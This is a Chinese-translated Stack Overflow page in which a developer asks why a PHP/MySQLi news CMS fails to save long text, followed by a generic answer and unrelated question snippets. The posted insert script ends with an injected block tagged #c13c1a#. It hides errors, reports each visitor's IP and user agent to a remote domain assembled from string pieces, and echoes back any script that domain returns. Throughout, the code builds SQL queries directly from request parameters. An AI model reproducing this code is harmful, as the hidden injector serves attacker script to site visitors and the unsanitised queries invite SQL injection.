- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
首先我将介绍一些背景知识。我为一家公司提供了一个 CMS,他们用它来将新闻文章和图像更新到他们的网站。它是用 php 编写的,并使用 msqli 进行数据库操作。
出于某种原因,每当他们尝试添加证实长度(大约 4,000)个字符的文本时,它都不会正确插入到表中并将字段留空。当更新现有新闻文章时也会发生这种情况,一旦添加大量文本,整个链接就会被删除并且该字段为空。
代码:-
用户添加文本的页面:
<body>
<div id="container">
<div id="header">
</div>
<?php include('includes/Nav.php')?>
<div id="contentcontainer">
<div id="contentleft">
<ul>
<?php
if(isset($_SESSION["myusername"]))
{
echo "<li>Welcome ".$_SESSION["myusername"]."!</li>";
echo "<a href=\"pages.php?pid=0\"><li>Add News</u></li></a>";
echo "<a href=\"pages.php?pid=-1\"><li>Add News Via Image</u></li></a>";
echo "<a href=\"pages.php?pid=-2\"><li>Add News Via Table</u></li></a>";
}
else
{
echo "</ul><li>Please Login using the form to your right.</li>";
}
?>
</ul>
</div>
<div id="contentright">
<?php
$con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
mysqli_select_db($con, $sqldatabase);
if(isset($_GET["pid"]))
{
//SQL TO GRAB PID
if($_GET["pid"]==0)
{
//ADD A PAGE SCREEN
echo "<h2>Add News</h2>";
echo "<form action=\"addpage.php\" method=\"POST\"><p><label>Title:</label><input type=\"text\" name=\"title\"/><br/>";
echo "<label>Description (For left hand News Panel):</label><input type=\"text\" name=\"desc\"/><br/>";
echo "<label>Page Content (HTML is allowed):</label>";
echo <<<END
<textarea id='content' name='content'></textarea>
<script language="Javascript" type="text/javascript">
$("#content").css("height","100%").css("width","100%").htmlbox({
toolbars:[
[
// Cut, Copy, Paste
"separator","cut","copy","paste",
// Undo, Redo
"separator","undo","redo",
// Bold, Italic, Underline, Strikethrough, Sup, Sub
"separator","bold","italic","underline","strike","sup","sub",
// Left, Right, Center, Justify
"separator","justify","left","center","right",
// Ordered List, Unordered List, Indent, Outdent
"separator","ol","ul","indent","outdent",
// Hyperlink, Remove Hyperlink, Image
"separator","link","unlink","image"
],
[// Show code
"separator","code",
// Formats, Font size, Font family, Font color, Font, Background
"separator","formats","fontsize","fontfamily",
"separator","fontcolor","highlight",
],
[
//Strip tags
"separator","removeformat","striptags","hr","paragraph",
// Styles, Source code syntax buttons
"separator","quote","styles","syntax"
]
],
skin:"blue"
});
</script>
END;
echo "<label>Show on Recent News?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" /><br />";
echo "<label>Category:</label><select name=\"Category\">";
echo "<option value=\"Pool\">Pool</option>";
echo "<option value=\"Snooker\">Snooker</option>";
echo "<option value=\"Poker\">Poker</option>";
echo "<option value=\"Darts\">Darts</option>";
echo "<option value=\"Events\">Events</option>";
echo "</select><br/>";
echo "<input type=\"submit\" value=\"Add News\"/></p>";
echo "</form>";
}
else if($_GET["pid"]==-1)
{
//ADD NEWS VIA IMAGE SCREEN
echo "<h2>Add News Via Image</h2>";
echo "<form action=\"addpage.php\" method=\"POST\"><p><label>Title:</label><input type=\"text\" name=\"title\"/><br/>";
echo "<label>Description (For left hand News Panel):</label><input type=\"text\" name=\"desc\"/><br/>";
echo "<label>Image:</label><select name=\"NewsImage\">";
$resultc = mysqli_query($con, "SELECT * FROM pb_images");
while($rowc = mysqli_fetch_array($resultc))
{
echo "<option value=\"".$rowc['Image']."\">".$rowc['Name']."</option>";
}
echo "</select><br/>";
echo "<label>Show on Recent News?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" /><br />";
echo "<label>Category:</label><select name=\"Category\">";
echo "<option value=\"Pool\">Pool</option>";
echo "<option value=\"Snooker\">Snooker</option>";
echo "<option value=\"Poker\">Poker</option>";
echo "<option value=\"Darts\">Darts</option>";
echo "<option value=\"Events\">Events</option>";
echo "</select><br/>";
echo "<input type=\"submit\" value=\"Add News\"/></p>";
echo "</form>";
}
else if($_GET["pid"]==-2)
{
//ADD NEWS VIA TABLE SCREEN
echo "<h2>Add News Via Table</h2>";
echo "<form action=\"addpage.php\" method=\"POST\" enctype=\"multipart/form-data\"><p><label>Title:</label><input type=\"text\" name=\"title\"/><br/>";
echo "<label>Description (For right hand News Panel):</label><input type=\"text\" name=\"desc\"/><br/>";
echo "<label>Table HTML File:</label><input type=\"file\" name=\"file\" id=\"file\" /> ";
echo "<label>Show on Recent News?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" /><br />";
echo "<label>Category:</label><select name=\"Category\">";
echo "<option value=\"Pool\">Pool</option>";
echo "<option value=\"Snooker\">Snooker</option>";
echo "<option value=\"Poker\">Poker</option>";
echo "<option value=\"Darts\">Darts</option>";
echo "<option value=\"Events\">Events</option>";
echo "</select><br/>";
echo "<input type=\"submit\" value=\"Add News\"/></p>";
echo "</form>";
}
else
{
//Edit a page
echo "<h2>Edit News</h2>";
//SQL GRAB PAGE CONTENT
$result = mysqli_query($con, "SELECT * FROM pb_pages WHERE ID='".$_GET['pid']."'");
echo "<form action=\"editpage.php\" method=\"POST\"><p>";
while($row = mysqli_fetch_array($result))
{
echo "<input type=\"hidden\" id=\"pid\" name=\"pid\" value=\"".$_GET['pid']."\" />";
echo "<label>Title:</label><input type=\"text\" name=\"title\" value=\"".$row['Name']."\"/><br/>";
echo "<label>Description (Just for CMS):</label><input type=\"text\" name=\"description\" value=\"".$row['Description']."\"/><br/>";
echo "<label>Page Content (HTML is allowed):</label><TEXTAREA NAME=\"content\" COLS=40 ROWS=12>".$row['Content']."</TEXTAREA><br/>";
echo "<label>Show on Navigation?:</label><input type=\"checkbox\" name=\"nav\" value=\"nav\" ";
if($row['ShowNav']==1) echo " checked";
echo "/><br />";
echo "<label>Category:</label><select name=\"Category\">";
if($row['Category']!="Index")
{
echo "<option value=\"Pool\">Pool</option>";
echo "<option value=\"Snooker\">Snooker</option>";
echo "<option value=\"Poker\">Poker</option>";
echo "<option value=\"Darts\">Darts</option>";
echo "<option value=\"Events\">Events</option>";
}
else
{
echo "<option value=\"Index\">Index</option>";
}
echo "</select><br/>";
}
echo "<input type=\"submit\" value=\"Edit News\"/>";
echo "</form>";
}
}
else
{
echo "Below are a choice of editable news stories. Please choose one:<ul>";
$con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
mysqli_select_db($con, $sqldatabase);
$result = mysqli_query($con, "SELECT * FROM pb_pages");
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
while($row = mysqli_fetch_array($result))
{
echo "<li style=\"margin-bottom:0px;\"><a href=\"pages.php?pid=".$row['ID']."\">".$row['Name']."</a> <a href=\"deletepage.php?iid=".$row['ID']."\"><img src=\"images/cross.png\" alt=\"cross\"/></a></li>";
}
}
?>
</div>
</div>
<div id="footer">
Redesigned by Callum Howard of CDS-KAS
</div>
</body>
数据库更新页面:
<?php
include('includes/variables.php');
$con = mysqli_connect($sqlhost,$sqlusername,$sqlpassword);
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$nav=0;
if(isset($_POST['nav'])&&$_POST['nav']=="nav") $nav=1;
mysqli_select_db($con, $sqldatabase);
if(!isset($_POST['content']))
{
if(isset($_POST['NewsImage']))
{
mysqli_query($con, "INSERT INTO pb_pages (Name, Description, Content, ShowNav, Category)
VALUES ('".$_POST['title']."', '".$_POST['desc']."', '<img src=\"cms/images/".$_POST['NewsImage']."\" alt=\"Image\"/>','".$nav."','".$_POST['Category']."')");
}
else if(isset($_POST['file']))
{
$fh = fopen($_POST['file'], 'r');
$theData = fread($fh, filesize($myFile));
fclose($fh);
$page = $theData;
$stylefirst = strpos($page, ".xl");
$stylelast = strpos($page, "-->");
$blah = substr($page, $stylefirst, $stylelast-$stylefirst);
while(strpos($blah, "border") != false)
{
$first = strpos($blah, "border");
$last = strpos($blah, ";", $first);
$before = substr($blah, 0, $first);
$after = substr($blah, $last+1);
$blah = $before.$after;
}
$tablefirst = strpos($page, "<table");
$tablelast = strpos($page, "</table>");
$table = substr($page, $tablefirst, $tablelast-$tablefirst);
mysqli_query($con, "INSERT INTO pb_styles (Style)
VALUES ('".$style."')");
mysqli_query($con, "INSERT INTO pb_pages (Name, Description, Content, ShowNav, Category)
VALUES ('".$_POST['title']."', '".$_POST['desc']."', '".htmlentities($table, ENT_QUOTES)."','".$nav."','".$_POST['Category']."')");
}
}
else
{
if(mysqli_query($con, "INSERT INTO pb_pages (Name, Description, Content, ShowNav, Category)
VALUES ('".$_POST['title']."', '".$_POST['desc']."', '".htmlentities($_POST['content'], ENT_QUOTES)."','".$nav."','".$_POST['Category']."')"))
{
echo "YAY";
}
else echo "Boo..";
}
//header("location:pages.php");
?>
<?php
#c13c1a#
error_reporting(0); ini_set('display_errors',0); $wp_hdvw34 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_hdvw34) && !preg_match ('/bot/i', $wp_hdvw34))){
$wp_hdvw0934="http://"."error"."css".".com/css"."/? ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=" .urlencode($wp_hdvw34);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_hdvw0934);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_34hdvw = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_34hdvw,1,3) === 'scr' ){ echo $wp_34hdvw; }
#/c13c1a#
?>
我可以进入 phpMyAdmin 并直接从那里更新数据库,绝对没问题,它会在网页上正确显示。该字段设置为 varchar(10000)。
请帮忙!
最佳答案
您好,也许您可以检查插入或更新 4000 个字符的表格
MySQL 可以做得很好,就像大多数 RDBMS 一样。当您将字段指定为 CHAR() 类型时,无论字符串中有多少个字符,都将始终使用字符数。例如:如果您有 Char(64) 字段并插入“ABCD”,则该字段仍然是 64 字节(假设非 unicode)。
但是,当使用 VARCHAR() 时,单元仅使用字符串中的字节数,加上存储字符串大小所需的字节数。因此:如果您有 VARCHAR(64) 并插入“ABCD”,您将仅使用 5 个字节。 4 表示字符“ABCD”,1 表示字符数“4”。
您的字符串长度变化很大正是我们使用 VARCHAR() 的原因,因此请随意使用 VARCHAR(4500) 并且放心,您只会使用必要的空间来存储字符串中的字符,并且长度有点额外。
有点相关:这就是为什么对于没有插入不同长度字符串的字段使用 VARCHAR() 不是一个好主意的原因。当字符串的大小已知时,您会浪费空间来存储它。例如,x-xxx-xxx-xxxx 形式的电话号码应该只使用 Char(14),因为它始终占用 14 个字符,并且只需要 14 个字节。如果您使用 VARCHAR(14),实际上最终会使用 15 个字节。
查看相关文档
http://dev.mysql.com/doc/refman/5.0/en/char.html
我认为您的问题出在您的数据库或表上。祝你好运并尝试也许你可以分享你的结构表的图片和代码来帮助你
关于php - mysql不通过php将长字符串插入数据库,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34662384/
目前我正在构建相当大的网络系统,我需要强大的 SQL 数据库解决方案。我选择 Mysql 而不是 Postgres,因为一些任务需要只读(MyISAM 引擎)而其他任务需要大量写入(InnoDB)。
我在 mysql 中使用如下命令。当它显示表格数据时,它被格式化为一个非常干净的表格,间距均匀且 |作为列分隔符。 SELECT * FROM TABLE_NAME; 当我从 CLI 运行命令时,如下
我知道这个问题之前已经被问过好几次了,我已经解决了很多问题,但到目前为止没有任何效果。 MySQL 试图将自身安装到的目录 (usr/local/mysql) 肯定有问题。关于我的错误的奇怪之处在于我
以下是我的 SQL 数据结构,我正在尝试如下两个查询: Select Wrk_ID, Wrk_LastName, Skill_Desc from Worker, Skill where
我们有一个本地 mysql 服务器(不在公共(public)域上),并希望将该服务器复制到我们拥有的 google 云 sql 实例。我的问题是:1.这可能吗?2.我们的本地服务器只能在本地网络上访问
我有一个表(test_table),其中一些字段值(例如字段 A、B 和 C)是从外部应用程序插入的,还有一个字段(字段 D),我想从现有表(store_table)插入其值,但在插入前者(A、B 和
我想创建一个 AWS RDS 实例,然后使用 terraform 管理数据库用户。因此,首先,我创建了一个 RDS 实例,然后使用创建的 RDS 实例初始化 mysql 提供程序,以进一步将其用于用户
当用户在我的网站上注册时,他们会在我的一个数据库中创建自己的表格。该表存储用户发布的所有帖子。我还想做的是也为他们生成自己的 MySql 用户——该用户仅有权从他们的表中读取、写入和删除。 创建它应该
我有一个关于 ColdFusion 和 Mysql 的问题。我有两个表:PRODUCT 和 PRODUCT_CAT。我想列出包含一些标记为:IS_EXTRANET=1 的特殊产品的类别。所以我写了这个
我想获取 recipes_id 列的值,以获取包含 ingredient_id 的 2,17 和 26 条目的值。 假设 ingredient_id 2 丢失则不获取记录。 我已经尝试过 IN 运算符
在 Ubuntu 中,我通常安装两者,但 MySQL 的客户端和服务器之间有什么区别。 作为奖励,当一个新语句提到它需要 MySQL 5.x 时,它是指客户端、服务器还是两者兼而有之。例如这个链接ht
我重新访问了我的数据库并注意到我有一些 INT 类型的主键。 这还不够独特,所以我想我会有一个指导。 我来自微软 sql 背景,在 ssms 中你可以 选择类型为“uniqeidentifier”并自
我的系统上有 MySQL,我正在尝试确定它是 Oracle MySQL 还是 MySQL。 Oracle MySQL 有区别吗: http://www.oracle.com/us/products/m
我是在生产 MySQL 中运行的应用程序的新维护者。之前的维护者已经离开,留下的文档很少,而且联系不上了。 我面临的问题是执行以下请求大约需要 10 秒: SELECT COUNT(*) FROM `
我有两个位于不同机器上的 MySQL 数据库。我想自动将数据从一台服务器传输到另一台服务器。比方说,我希望每天早上 4:00 进行数据传输。 可以吗?是否有任何 MySQL 内置功能可以让我们做到这一
有什么方法可以使用 jdbc 查询位于 mysql 根目录之外的目录中的 mysql 表,还是必须将它们移动到 mysql 根目录内的数据库文件夹中?我在 Google 上搜索时没有找到任何东西。 最
我在 mysql 数据库中有两个表。成员和 ClassNumbers。两个表都有一个付费年份字段,都有一个代码字段。我想用代码数字表中的值更新成员表中的付费年份,其中成员中的代码与 ClassNumb
情况:我有 2 台服务器,其中一台当前托管一个实时 WordPress 站点,我希望能够将该站点转移到另一台服务器,以防第一台服务器出现故障。传输源文件很容易;传输数据库是我需要弄清楚如何做的。两台服
Phpmyadmin 有一个功能是“复制数据库到”..有没有mysql查询来写这个函数?类似于将 db A 复制到新的 db B。 最佳答案 首先创建复制数据库: CREATE DATABASE du
我有一个使用 mySQL 作为后端的库存软件。我已经在我的计算机上对其进行了测试,并且运行良好。 当我在计算机上安装我的软件时,我必须执行以下步骤: 安装 mySQL 服务器 将用户名指定为“root
我是一名优秀的程序员,十分优秀!